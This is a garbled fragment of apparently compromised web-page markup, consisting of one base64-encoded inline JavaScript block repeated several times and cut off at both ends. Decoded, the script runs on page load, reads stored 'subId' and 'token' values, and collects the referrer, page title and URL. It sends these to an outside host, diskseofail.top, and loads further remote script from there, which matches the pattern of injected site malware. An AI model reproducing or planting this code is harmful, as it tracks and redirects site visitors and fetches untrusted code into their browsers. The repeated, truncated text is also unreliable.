y5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ